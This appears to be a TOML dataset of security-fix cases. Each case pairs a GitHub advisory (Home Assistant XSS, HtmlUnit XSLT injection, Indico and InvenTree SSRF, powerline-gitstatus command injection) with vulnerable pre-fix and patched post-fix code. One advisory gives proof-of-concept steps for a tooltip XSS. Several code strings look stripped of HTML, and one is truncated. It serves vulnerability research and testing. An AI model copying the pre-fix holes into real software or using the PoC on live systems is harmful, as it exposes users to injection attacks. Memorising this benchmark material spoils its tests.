+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "render"
+function_lines = [[48, 136]]
+id = "home-assistant-frontend-dbfdac609f80500c"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/components/chart/ha-sunburst-chart.ts"
+post_fix = " render() {\n if (!SunburstChart || !this.data) {\n return nothing;\n }\n\n const options: HaECOption = {\n tooltip: {\n trigger: \"item\",\n formatter: this._renderTooltip,\n appendTo: document.body,\n },\n };\n\n return html``;\n }\n\n private _renderTooltip = (params: CallbackDataParams) => {\n const data = params.data as { name: string; value: number };\n const value = this.valueFormatter\n ? this.valueFormatter(data.value)\n : data.value;\n return html`\n ${data.name} ${value}`;\n };\n\n private _createData = memoizeOne(\n (data: SunburstNode): SunburstSeriesOption => {\n const computedStyles = getComputedStyle(this);\n\n // Transform to echarts format (uses 'name' instead of 'id')\n const transformNode = (\n node: SunburstNode,\n index: number,\n depth: number,\n parentColor?: string\n ) => {\n const result = {\n ...node,\n name: node.name || node.id,\n };\n\n if (depth > 0 && !node.itemStyle?.color) {\n // Don't assign color to root node\n result.itemStyle = {\n color: parentColor ?? getGraphColorByIndex(index, computedStyles),\n };\n }\n\n if (node.children && node.children.length > 0) {\n result.children = node.children.map((child, i) =>\n transformNode(child, i, depth + 1, result.itemStyle?.color)\n );\n }\n\n return result;\n };\n\n const transformedData = transformNode(data, 0, 0);\n\n return {\n type: \"sunburst\",\n data: transformedData.children || [transformedData],\n radius: [0, \"90%\"],\n sort: undefined, // Keep original order\n label: {\n show: false,\n align: \"center\",\n rotate: \"radial\",\n minAngle: 15,\n hideOverlap: true,\n },\n emphasis: {\n focus: \"ancestor\",\n label: {\n show: false,\n },\n },\n itemStyle: {\n borderRadius: 2,\n },\n levels: this._generateLevels(this._getMaxDepth(data)),\n } as SunburstSeriesOption;\n }\n );\n"
+pre_fix = " render() {\n if (!SunburstChart || !this.data) {\n return nothing;\n }\n\n const options = {\n tooltip: {\n trigger: \"item\",\n formatter: this._renderTooltip,\n appendTo: document.body,\n },\n } as ECOption;\n\n return html``;\n }\n\n private _renderTooltip = (params: CallbackDataParams) => {\n const data = params.data as { name: string; value: number };\n const value = this.valueFormatter\n ? this.valueFormatter(data.value)\n : data.value;\n return `${params.marker} ${filterXSS(data.name)} ${value}`;\n };\n\n private _createData = memoizeOne(\n (data: SunburstNode): SunburstSeriesOption => {\n const computedStyles = getComputedStyle(this);\n\n // Transform to echarts format (uses 'name' instead of 'id')\n const transformNode = (\n node: SunburstNode,\n index: number,\n depth: number,\n parentColor?: string\n ) => {\n const result = {\n ...node,\n name: node.name || node.id,\n };\n\n if (depth > 0 && !node.itemStyle?.color) {\n // Don't assign color to root node\n result.itemStyle = {\n color: parentColor ?? getGraphColorByIndex(index, computedStyles),\n };\n }\n\n if (node.children && node.children.length > 0) {\n result.children = node.children.map((child, i) =>\n transformNode(child, i, depth + 1, result.itemStyle?.color)\n );\n }\n\n return result;\n };\n\n const transformedData = transformNode(data, 0, 0);\n\n return {\n type: \"sunburst\",\n data: transformedData.children || [transformedData],\n radius: [0, \"90%\"],\n sort: undefined, // Keep original order\n label: {\n show: false,\n align: \"center\",\n rotate: \"radial\",\n minAngle: 15,\n hideOverlap: true,\n },\n emphasis: {\n focus: \"ancestor\",\n label: {\n show: false,\n },\n },\n itemStyle: {\n borderRadius: 2,\n },\n levels: this._generateLevels(this._getMaxDepth(data)),\n } as SunburstSeriesOption;\n }\n );\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "_renderTooltip"
+function_lines = [[201, 282]]
+id = "home-assistant-frontend-f515548346e64ad5"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/panels/lovelace/cards/energy/hui-energy-devices-graph-card.ts"
+post_fix = " private _renderTooltip = (params: any) => {\n const deviceName = this._getDeviceName(params.name);\n const value = `${formatNumber(\n params.value[0] as number,\n this.hass.locale,\n params.value < 0.1 ? { maximumFractionDigits: 3 } : undefined\n )} kWh ${params.percent ? `(${params.percent} %)` : \"\"}`;\n return html`
`;\n }\n\n private _createOptions = memoizeOne(\n (\n data: (BarSeriesOption | PieSeriesOption)[],\n chartType: \"bar\" | \"pie\",\n legendData: typeof this._legendData\n ): ECOption => {\n const options: ECOption = {\n grid: {\n top: 5,\n left: 5,\n right: 40,\n bottom: 0,\n containLabel: true,\n },\n tooltip: {\n show: true,\n formatter: this._renderTooltip.bind(this),\n },\n xAxis: { show: false },\n yAxis: { show: false },\n legend: { type: \"custom\", show: false },\n };\n if (chartType === \"bar\") {\n options.xAxis = {\n show: true,\n type: \"value\",\n name: \"kWh\",\n axisPointer: {\n show: false,\n },\n };\n options.yAxis = {\n show: true,\n type: \"category\",\n inverse: true,\n triggerEvent: true,\n // take order from data\n data: data[0]?.data?.map((d: any) => d.name),\n axisLabel: {\n formatter: this._getDeviceName.bind(this),\n overflow: \"truncate\",\n fontSize: 12,\n margin: 5,\n width: Math.min(\n this._isMobile ? 100 : 200,\n Math.max(\n ...(data[0]?.data?.map(\n (d: any) =>\n measureTextWidth(this._getDeviceName(d.name), 12) + 5\n ) || [])\n )\n ),\n },\n };\n } else {\n options.legend = {\n type: \"custom\",\n show: true,\n data: legendData,\n selected: legendData\n .filter((d) => d.id && this._hiddenStats.includes(d.id))\n .reduce((acc, d) => {\n acc[d.id!] = false;\n return acc;\n }, {}),\n };\n }\n return options;\n }\n );\n"
+repo = "home-assistant/frontend"
+url = "https://github.com/home-assistant/frontend.git"
+
+[[case]]
+advisory = "GHSA-3xrr-7m6p-p7xh"
+advisory_text = "HtmlUnit Code Injection vulnerability\n\nVersions of the package `net.sourceforge.htmlunit:htmlunit` from 0 and before 3.0.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage."
+commit = "641325bbc84702dc9800ec7037aec061ce21956b"
+cwe = "CWE-94"
+family = "injection"
+function = "transform"
+function_lines = [[121, 209]]
+id = "htmlunit-htmlunit-2d8f01031e36f7f1"
+language = "java"
+method = "fix_site"
+parent = "d75f21270a20b94c4a49aa0a7dff3f9b7309ca78"
+path = "src/main/java/com/gargoylesoftware/htmlunit/javascript/host/xml/XSLTProcessor.java"
+post_fix = " private Object transform(final Node source) {\n try {\n final DomNode sourceDomNode = source.getDomNodeOrDie();\n Source xmlSource = new DOMSource(sourceDomNode);\n\n final DomNode xsltDomNode = style_.getDomNodeOrDie();\n final Source xsltSource = new DOMSource(xsltDomNode);\n\n final TransformerFactory transformerFactory = TransformerFactory.newInstance();\n\n // By default, the JDK turns on FSP for DOM and SAX parsers and XML schema validators,\n // which sets a number of processing limits on the processors. Conversely, by default,\n // the JDK turns off FSP for transformers and XPath, which enables extension functions for XSLT and XPath.\n transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n\n final SgmlPage page = sourceDomNode.getPage();\n if (page != null && page.getWebClient().getBrowserVersion()\n .hasFeature(JS_XSLT_TRANSFORM_INDENT)) {\n final DomNode outputNode = findOutputNode(xsltDomNode);\n if (outputNode != null) {\n final org.w3c.dom.Node indentNode = outputNode.getAttributes().getNamedItem(\"indent\");\n if (indentNode != null && \"yes\".equalsIgnoreCase(indentNode.getNodeValue())) {\n try {\n transformerFactory.setAttribute(\"indent-number\", new Integer(2));\n }\n catch (final IllegalArgumentException e) {\n // ignore\n }\n final Transformer transformer = transformerFactory.newTransformer(xsltSource);\n transformer.setOutputProperty(OutputKeys.INDENT, \"yes\");\n try {\n transformer.setOutputProperty(\"{http://xml.apache.org/xslt}indent-amount\", \"2\");\n }\n catch (final IllegalArgumentException e) {\n // ignore\n }\n\n for (final Map.Entry entry : parameters_.entrySet()) {\n transformer.setParameter(entry.getKey(), entry.getValue());\n }\n\n // hack to preserve indention\n // the transformer only accepts the OutputKeys.INDENT setting if\n // the StreamResult is used\n try (ByteArrayOutputStream out = new ByteArrayOutputStream()) {\n transformer.transform(xmlSource, new StreamResult(out));\n final WebResponseData data =\n new WebResponseData(out.toByteArray(), 200, null, Collections.emptyList());\n final WebResponse response = new WebResponse(data, null, 0);\n return XmlUtils.buildDocument(response);\n }\n }\n }\n }\n\n final Transformer transformer = transformerFactory.newTransformer(xsltSource);\n for (final Map.Entry entry : parameters_.entrySet()) {\n transformer.setParameter(entry.getKey(), entry.getValue());\n }\n\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n final org.w3c.dom.Document containerDocument = factory.newDocumentBuilder().newDocument();\n final org.w3c.dom.Element containerElement = containerDocument.createElement(\"container\");\n containerDocument.appendChild(containerElement);\n\n final DOMResult result = new DOMResult(containerElement);\n transformer.transform(xmlSource, result);\n\n final org.w3c.dom.Node transformedNode = result.getNode();\n final org.w3c.dom.Node transformedFirstChild = transformedNode.getFirstChild();\n if (transformedFirstChild != null && transformedFirstChild.getNodeType() == Node.ELEMENT_NODE) {\n return transformedNode;\n }\n\n // output is not DOM (text)\n xmlSource = new DOMSource(source.getDomNodeOrDie());\n final StringWriter writer = new StringWriter();\n final Result streamResult = new StreamResult(writer);\n transformer.transform(xmlSource, streamResult);\n return writer.toString();\n }\n catch (final Exception e) {\n throw Context.reportRuntimeError(\"Exception: \" + e);\n }\n }\n\n /**\n * Transforms the node source applying the stylesheet given by the importStylesheet() function.\n * The owner document of the output node owns the returned document fragment.\n * @param source the node to be transformed\n * @param output This document is used to generate the output\n * @return the result of the transformation\n */\n @JsxFunction"
+pre_fix = " private Object transform(final Node source) {\n try {\n final DomNode sourceDomNode = source.getDomNodeOrDie();\n Source xmlSource = new DOMSource(sourceDomNode);\n\n final DomNode xsltDomNode = style_.getDomNodeOrDie();\n final Source xsltSource = new DOMSource(xsltDomNode);\n\n final TransformerFactory transformerFactory = TransformerFactory.newInstance();\n\n final SgmlPage page = sourceDomNode.getPage();\n if (page != null && page.getWebClient().getBrowserVersion()\n .hasFeature(JS_XSLT_TRANSFORM_INDENT)) {\n final DomNode outputNode = findOutputNode(xsltDomNode);\n if (outputNode != null) {\n final org.w3c.dom.Node indentNode = outputNode.getAttributes().getNamedItem(\"indent\");\n if (indentNode != null && \"yes\".equalsIgnoreCase(indentNode.getNodeValue())) {\n try {\n transformerFactory.setAttribute(\"indent-number\", new Integer(2));\n }\n catch (final IllegalArgumentException e) {\n // ignore\n }\n final Transformer transformer = transformerFactory.newTransformer(xsltSource);\n transformer.setOutputProperty(OutputKeys.INDENT, \"yes\");\n try {\n transformer.setOutputProperty(\"{http://xml.apache.org/xslt}indent-amount\", \"2\");\n }\n catch (final IllegalArgumentException e) {\n // ignore\n }\n\n for (final Map.Entry entry : parameters_.entrySet()) {\n transformer.setParameter(entry.getKey(), entry.getValue());\n }\n\n // hack to preserve indention\n // the transformer only accepts the OutputKeys.INDENT setting if\n // the StreamResult is used\n try (ByteArrayOutputStream out = new ByteArrayOutputStream()) {\n transformer.transform(xmlSource, new StreamResult(out));\n final WebResponseData data =\n new WebResponseData(out.toByteArray(), 200, null, Collections.emptyList());\n final WebResponse response = new WebResponse(data, null, 0);\n return XmlUtils.buildDocument(response);\n }\n }\n }\n }\n\n final Transformer transformer = transformerFactory.newTransformer(xsltSource);\n for (final Map.Entry entry : parameters_.entrySet()) {\n transformer.setParameter(entry.getKey(), entry.getValue());\n }\n\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n final org.w3c.dom.Document containerDocument = factory.newDocumentBuilder().newDocument();\n final org.w3c.dom.Element containerElement = containerDocument.createElement(\"container\");\n containerDocument.appendChild(containerElement);\n\n final DOMResult result = new DOMResult(containerElement);\n transformer.transform(xmlSource, result);\n\n final org.w3c.dom.Node transformedNode = result.getNode();\n final org.w3c.dom.Node transformedFirstChild = transformedNode.getFirstChild();\n if (transformedFirstChild != null && transformedFirstChild.getNodeType() == Node.ELEMENT_NODE) {\n return transformedNode;\n }\n\n // output is not DOM (text)\n xmlSource = new DOMSource(source.getDomNodeOrDie());\n final StringWriter writer = new StringWriter();\n final Result streamResult = new StreamResult(writer);\n transformer.transform(xmlSource, streamResult);\n return writer.toString();\n }\n catch (final Exception e) {\n throw Context.reportRuntimeError(\"Exception: \" + e);\n }\n }\n\n /**\n * Transforms the node source applying the stylesheet given by the importStylesheet() function.\n * The owner document of the output node owns the returned document fragment.\n * @param source the node to be transformed\n * @param output This document is used to generate the output\n * @return the result of the transformation\n */\n @JsxFunction"
+repo = "htmlunit/htmlunit"
+url = "https://github.com/HtmlUnit/htmlunit.git"
+
+[[case]]
+advisory = "GHSA-2v95-h47v-g4x9"
+advisory_text = "Indico: Incomplete Server-Side Request Forgery (SSRF) check\n\n### Impact\nIndico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access \"special\" targets such as localhost or cloud metadata endpoints. The previous fix (CVE-2026-25738) did not cover an edge case so it was still possible to craft a URL that pointed to a local target but was accepted as valid by Indico.\n\n### Patches\nYou should to update to [Indico 3.3.13](https://github.com/indico/indico/releases/tag/v3.3.13) as soon as possible.\nSee [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.\n\n### Workarounds\nIf you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn't impact you and you can ignore it (but please upgrade anyway).\nAlso, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.\n\nFor additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular `http_proxy` and `https_proxy`) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open a thread in [our forum](https://talk.getindico.io/)\n- Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)"
+commit = "44540e70ab4e20a12f14ddba5218a33749a86736"
+cwe = "CWE-918"
+family = "untrusted_destination"
+function = "is_private_url"
+function_lines = [[22, 38]]
+id = "indico-indico-7df3dccdecfcf290"
+language = "python"
+method = "fix_site"
+parent = "d7a07ccc7001915f049479f8ab51fd86baae8f82"
+path = "indico/util/network.py"
+post_fix = "def is_private_url(url):\n \"\"\"Check if the provided URL points to a private IP address.\"\"\"\n if '\\\\' in url:\n return True\n hostname = urlsplit(url).hostname\n if not hostname:\n # invalid url, just consider it private to avoid failing noisly...\n return True\n hostname = hostname.strip('[]')\n if '.' not in hostname and ':' not in hostname:\n return True\n\n try:\n host_data = socket.getaddrinfo(hostname, None)\n return any(_is_private_ip(str(item[4][0])) for item in host_data)\n except (socket.gaierror, ipaddress.AddressValueError, ValueError):\n return True\n\n"
+pre_fix = "def is_private_url(url):\n \"\"\"Check if the provided URL points to a private IP address.\"\"\"\n hostname = urlsplit(url).hostname\n if not hostname:\n # invalid url, just consider it private to avoid failing noisly...\n return True\n hostname = hostname.strip('[]')\n if '.' not in hostname and ':' not in hostname:\n return True\n\n try:\n host_data = socket.getaddrinfo(hostname, None)\n return any(_is_private_ip(str(item[4][0])) for item in host_data)\n except (socket.gaierror, ipaddress.AddressValueError, ValueError):\n return True\n\n"
+repo = "indico/indico"
+url = "https://github.com/indico/indico.git"
+
+[[case]]
+advisory = "GHSA-vx3h-qwqw-r2wq"
+advisory_text = "Inventree Server-Side Request Forgery vulnerability exposes server port/internal IP\n\n### Impact\n\nThe \"download image from remote URL\" feature can be abused by a malicious actor to potentially extract information about server side resources. Submitting a crafted URL (in place of a valid image) can raise a server side error, which is reported back to the user. \n\nThis error message may contain sensitive information about the server side request, including information about the availability of the remote resource.\n\n### Patches\n\nThe solution to this vulnerability is to prevent the server from returning any specific information about the observed exception. Instead, a generic error message is returned to the client.\n\nThis patch has been applied to the upcoming 0.17.0 release, and also back-ported to the 0.16.5 stable release.\n\n### Workarounds\n\nTo avoid this issue with unpatched versions, the \"download image from remote URL\" feature can be disabled in InvenTree, preventing users from accessing this information. \n\n### References\n\nThanks to @febin0x10 for identifying this vulnerability and reporting it to us as per our security policy."
+commit = "5759b60a48e7e178fb417a900ed543f29dc5dc86"
+cwe = "CWE-918"
+family = "untrusted_destination"
+function = "validate_remote_image"
+function_lines = [[890, 914]]
+id = "inventree-inventree-3c189cf58ad5161c"
+language = "python"
+method = "fix_site"
+parent = "7bffa49f3cdd44dffdcf14e11e57db6295273b36"
+path = "src/backend/InvenTree/InvenTree/serializers.py"
+post_fix = " def validate_remote_image(self, url):\n \"\"\"Perform custom validation for the remote image URL.\n\n - Attempt to download the image and store it against this object instance\n - Catches and re-throws any errors\n \"\"\"\n from InvenTree.helpers_model import download_image_from_url\n\n if not url:\n return\n\n if not common_models.InvenTreeSetting.get_setting(\n 'INVENTREE_DOWNLOAD_FROM_URL'\n ):\n raise ValidationError(\n _('Downloading images from remote URL is not enabled')\n )\n\n try:\n self.remote_image_file = download_image_from_url(url)\n except Exception:\n self.remote_image_file = None\n raise ValidationError(_('Failed to download image from remote URL'))\n\n return url"
+pre_fix = " def validate_remote_image(self, url):\n \"\"\"Perform custom validation for the remote image URL.\n\n - Attempt to download the image and store it against this object instance\n - Catches and re-throws any errors\n \"\"\"\n from InvenTree.helpers_model import download_image_from_url\n\n if not url:\n return\n\n if not common_models.InvenTreeSetting.get_setting(\n 'INVENTREE_DOWNLOAD_FROM_URL'\n ):\n raise ValidationError(\n _('Downloading images from remote URL is not enabled')\n )\n\n try:\n self.remote_image_file = download_image_from_url(url)\n except Exception as exc:\n self.remote_image_file = None\n raise ValidationError(str(exc))\n\n return url"
+repo = "inventree/inventree"
+url = "https://github.com/inventree/InvenTree.git"
+
+[[case]]
+advisory = "GHSA-w67g-6gjv-c599"
+advisory_text = "Powerline Gitstatus vulnerable to arbitrary code execution\n\npowerline-gitstatus (aka Powerline Gitstatus) before 1.3.2 allows arbitrary code execution. git repositories can contain per-repository configuration that changes the behavior of git, including running arbitrary commands. When using powerline-gitstatus, changing to a directory automatically runs git commands in order to display information about the current repository in the prompt. If an attacker can convince a user to change their current directory to one controlled by the attacker, such as in a shared filesystem or extracted archive, powerline-gitstatus will run arbitrary commands under the attacker's control. NOTE: this is similar to CVE-2022-20001."
+commit = "fe8e963b3489e4cceaa2c1f26f2bcc2ef405364c"
+cwe = "CWE-77"
+family = "injection"
+function = "get_base_command"
+function_lines = [[28, 41]]
+id = "jaspernbrouwer-powerline-gitstatus-02af01b55c83b1b6"
+language = "python"
+method = "fix_site"
+parent = "8000c7f41305ddb421528dd00b6292ffd121c2c2"
+path = "powerline_gitstatus/segments.py"
+post_fix = " def get_base_command(self, cwd, use_dash_c):\n if use_dash_c:\n return ['git', '-c', 'core.fsmonitor=', '-C', cwd]\n\n while cwd and cwd != os.sep:\n gitdir = os.path.join(cwd, '.git')\n\n if os.path.isdir(gitdir):\n return ['git', '-c', 'core.fsmonitor=', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n\n cwd = os.path.dirname(cwd)\n\n return None\n"
+pre_fix = " def get_base_command(self, cwd, use_dash_c):\n if use_dash_c:\n return ['git', '-C', cwd]\n\n while cwd and cwd != os.sep:\n gitdir = os.path.join(cwd, '.git')\n\n if os.path.isdir(gitdir):\n return ['git', '--git-dir=%s' % gitdir, '--work-tree=%s' % cwd]\n\n cwd = os.path.dirname(cwd)\n\n return None\n"
+repo = "jaspernbrouwer/powerline-gitstatus"
+url = "https://github.com/jaspernbrouwer/powerline-gitstatus.git"
+
+[[case]]
+advisory = "GHSA-x9r5-jxvq-4387"
+advisory_text = "jquery.terminal self XSS on user input\n\n### Impact\nThis is low impact and limited XSS, because code for XSS payload is always visible, but attacker can use other techniques to hide the code the victim sees.\n\nAlso if the application use execHash option and execute code from URL the attacker can use this URL to execute his code. The scope is limited because the javascript code inside html attribute used is added to span tag, so no automatic execution like with `onerror` on images is possible.\n\n### Patches\nFixed version 2.31.1\n\n### Workarounds\nThe user can use formatting that wrap whole user input and it's no op.\n\n```javascript\n$.terminal.new_formatter([/([\\s\\S]+)/g, '[[;;]$1]']);\n```\nThe fix will only work when user of the library is not using different formatters (e.g. to highlight code in different way).\n\n### References\nThe issue was reported here [jcubic/jquery.terminal#727](https://github.com/jcubic/jquery.terminal/issues/727)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jcubic/jquery.terminal](https://github.com/jcubic/jquery.terminal)\n* Email us at [jcubic@onet.pl](mailto:jcubic@onet.pl)"
+commit = "77eb044d0896e990d48a9157f0bc6648f81a84b5"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "clean_data"
+function_lines = [[6178, 6186]]
+id = "jcubic-jquery.terminal-14e90f7dbacbca75"
+language = "javascript"
+method = "fix_site"
+parent = "eb85cf155ab259c0e822f65dee5c984ed060bee6"
+path = "js/jquery.terminal.js"
